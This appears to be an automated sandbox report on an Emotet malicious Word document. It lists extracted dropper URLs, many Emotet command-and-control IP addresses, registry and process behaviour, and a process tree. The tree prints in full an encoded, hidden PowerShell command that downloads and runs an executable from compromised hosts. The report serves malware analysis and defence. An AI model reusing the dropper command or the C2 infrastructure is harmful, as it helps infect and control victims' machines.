Analysis
-
max time kernel
127s -
resource
win10v191014 -
submitted
07-12-2019 19:57
Task
task1
Sample
Docs_bb7b9f0ff1297e6480935818da798d0f.13.doc
Resource
win7v191014
General
Malware Config
Extracted
http://jdcc-stu.com/wp-includes/168386/
http://stevecablestreeservice.com/y8st/w4q76/
http://kaybork.com/howtos/620010/
http://dayzendapparel.com/cgi-bin/091244/
http://thematrix-one.info/cgi-bin/4900/
Extracted
emotet
47.146.42.234:80
130.45.45.31:80
200.119.11.118:443
96.126.121.64:443
104.236.137.72:8080
172.104.233.225:8080
85.234.143.94:8080
91.205.215.57:7080
62.75.160.178:8080
45.79.95.107:443
190.195.129.227:8090
159.203.204.126:8080
181.36.42.205:443
186.68.48.204:443
14.160.93.230:80
119.59.124.163:8080
87.118.70.69:8080
5.196.35.138:7080
82.8.232.51:80
203.130.0.69:80
139.5.237.27:443
2.38.99.79:80
200.58.83.179:80
190.102.226.91:80
134.209.214.126:8080
68.183.190.199:8080
181.198.203.45:443
77.55.211.77:8080
96.20.84.254:7080
186.15.83.52:8080
88.250.223.190:8080
79.31.85.103:80
149.135.123.65:80
93.67.154.252:443
72.29.55.174:80
201.163.74.202:443
5.88.27.67:8080
116.48.138.115:80
130.45.45.31:80
82.196.15.205:8080
86.42.166.147:80
190.210.184.138:995
51.255.165.160:8080
200.113.106.18:80
188.216.24.204:80
200.123.101.90:80
207.154.204.40:8080
154.120.227.206:8080
47.187.70.124:443
68.129.203.162:443
58.171.181.213:80
77.241.53.234:80
142.93.114.137:8080
191.103.76.34:443
47.146.42.234:80
181.231.62.54:80
110.143.18.92:80
185.160.212.3:80
144.2.165.179:80
87.106.77.40:7080
80.29.54.20:80
190.4.50.26:80
80.85.87.122:8080
201.190.133.235:8080
91.83.93.124:7080
185.86.148.222:8080
163.172.40.218:7080
2.44.167.52:80
118.200.218.193:443
104.131.58.132:8080
204.63.252.182:443
142.127.57.63:8080
95.179.195.74:80
149.62.173.247:8080
109.169.86.13:8080
212.71.237.140:8080
217.199.160.224:8080
181.61.143.177:80
68.183.170.114:8080
45.50.177.164:80
178.79.163.131:8080
200.113.106.18:80
50.28.51.143:8080
109.166.89.91:80
138.68.106.4:7080
73.167.135.180:80
190.17.42.79:80
63.246.252.234:80
144.139.56.105:80
87.106.46.107:8080
190.38.14.52:80
46.101.212.195:8080
201.213.32.59:80
190.146.131.105:8080
46.28.111.142:7080
181.135.153.203:443
2.139.158.136:443
125.99.61.162:7080
203.25.159.3:8080
62.75.143.100:7080
190.97.30.167:990
98.196.49.107:80
83.165.163.225:80
200.124.225.32:80
91.204.163.19:8090
190.186.164.23:80
69.163.33.84:8080
183.82.97.25:80
188.14.39.65:443
Signatures
-
Processes:
description ioc Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0" Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1" -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 4940 WINWORD.EXE -
Drops file in Windows directory 1 IoCs
Processes:
svchost.exedescription ioc process File opened for modification C:\Windows\Debug\ESE.TXT svchost.exe -
Executes dropped EXE 4 IoCs
Processes:
904.exe904.exeinboxleel.exeinboxleel.exepid process 4344 904.exe 3876 904.exe 4268 inboxleel.exe 4208 inboxleel.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
Processes:
904.exeinboxleel.exepid process 3876 904.exe 4208 inboxleel.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Drops file in System32 directory 6 IoCs
Processes:
inboxleel.exe904.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies inboxleel.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 inboxleel.exe File renamed C:\Users\Admin\904.exe => C:\Windows\SysWOW64\inboxleel.exe 904.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat inboxleel.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 inboxleel.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE inboxleel.exe -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4940 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
SppExtComObj.exepowershell.exe904.exeinboxleel.exedescription pid process target process PID 4008 wrote to memory of 3748 4008 SppExtComObj.exe SLUI.exe PID 1584 wrote to memory of 4344 1584 powershell.exe 904.exe PID 4344 wrote to memory of 3876 4344 904.exe 904.exe PID 4268 wrote to memory of 4208 4268 inboxleel.exe inboxleel.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exeinboxleel.exepid process 1584 powershell.exe 4208 inboxleel.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
WINWORD.EXE904.exe904.exeinboxleel.exeinboxleel.exepid process 4940 WINWORD.EXE 4344 904.exe 3876 904.exe 4268 inboxleel.exe 4208 inboxleel.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1584 powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_bb7b9f0ff1297e6480935818da798d0f.13.doc" /o ""1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -en JABIAGUAcAB4AGIAaAB6AHcAYgBtAGcAPQAnAFcAawBwAG8AcABxAHQAYgByAHoAJwA7ACQAUAB1AHkAdAB0AHUAagBxAHAAdQByACAAPQAgACcAOQAwADQAJwA7ACQAUQBrAGYAegBlAG8AbwB2AHcAPQAnAFMAdwBzAHIAcgBuAGgAcwB4ACcAOwAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAHUAeQB0AHQAdQBqAHEAcAB1AHIAKwAnAC4AZQB4AGUAJwA7ACQAWgBiAGIAZgBhAHIAcQBwAGYAcgBjAHUAcgA9ACcAQwBoAHIAaABwAHoAcwBrAHcAcwB5ACcAOwAkAFAAcwB2AHAAegB1AGkAaQB2AGgAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAGIAYwBMAGkARQBuAHQAOwAkAEwAbABjAHMAdAB0AHIAbABuAHYAeQBhAGYAPQAnAGgAdAB0AHAAOgAvAC8AagBkAGMAYwAtAHMAdAB1AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAxADYAOAAzADgANgAvACoAaAB0AHQAcAA6AC8ALwBzAHQAZQB2AGUAYwBhAGIAbABlAHMAdAByAGUAZQBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwB5ADgAcwB0AC8AdwA0AHEANwA2AC8AKgBoAHQAdABwADoALwAvAGsAYQB5AGIAbwByAGsALgBjAG8AbQAvAGgAbwB3AHQAbwBzAC8ANgAyADAAMAAxADAALwAqAGgAdAB0AHAAOgAvAC8AZABhAHkAegBlAG4AZABhAHAAcABhAHIAZQBsAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMAA5ADEAMgA0ADQALwAqAGgAdAB0AHAAOgAvAC8AdABoAGUAbQBhAHQAcgBpAHgALQBvAG4AZQAuAGkAbgBmAG8ALwBjAGcAaQAtAGIAaQBuAC8ANAA5ADAAMAAvACcALgAiAFMAUABsAGAAaQBUACIAKAAnACoAJwApADsAJABEAHIAZgB4AHkAcgBsAGUAeQB6AD0AJwBGAGcAbQBtAHAAYwBiAGMAYQBsAGEAYQBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHIAawBwAGcAdAB3AG8AYQAgAGkAbgAgACQATABsAGMAcwB0AHQAcgBsAG4AdgB5AGEAZgApAHsAdAByAHkAewAkAFAAcwB2AHAAegB1AGkAaQB2AGgALgAiAGQAbwB3AG4AYABMAG8AYQBgAEQARgBgAEkATABFACIAKAAkAE8AcgBrAHAAZwB0AHcAbwBhACwAIAAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhACkAOwAkAEcAcQBlAG0AYwBwAGcAbQBvAG0AZgB3AHoAPQAnAEQAaABkAGsAagBzAGcAeABoAHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMANwAyADMAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAHIAdAAiACgAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApADsAJABTAHEAZQBoAGYAcwBmAG4AdQA9ACcARwB5AHUAeQBhAGoAZwBjAHoAbwAnADsAYgByAGUAYQBrADsAJABXAGUAagBoAHoAcwB3AHcAZwBxAHkAdQA9ACcAWAByAGcAeAB5AGoAdQBzAGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQB4AHgAawB1AGEAdABrAHcAaABkAHYAbAA9ACcAWAByAGUAcQBhAGEAYQBzAG0AbwB2AGIAJwA=1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\904.exe"C:\Users\Admin\904.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\904.exe--af9a2e1b3⤵
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\inboxleel.exe"C:\Windows\SysWOW64\inboxleel.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\inboxleel.exe--298161c2⤵
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Drops file in Windows directory
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DoSvc1⤵
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup1⤵
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\904.exe
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C:\Users\Admin\904.exe
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C:\Users\Admin\904.exe
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C:\Windows\SysWOW64\inboxleel.exe
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C:\Windows\SysWOW64\inboxleel.exe
-
memory/3876-11-0x00000000005C0000-0x00000000005D7000-memory.dmpFilesize
92KB
-
memory/3876-12-0x0000000000400000-0x000000000044A000-memory.dmpFilesize
296KB
-
memory/4208-16-0x0000000000A20000-0x0000000000A37000-memory.dmpFilesize
92KB
-
memory/4208-17-0x0000000000400000-0x000000000044A000-memory.dmpFilesize
296KB
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memory/4344-9-0x0000000000940000-0x0000000000957000-memory.dmpFilesize
92KB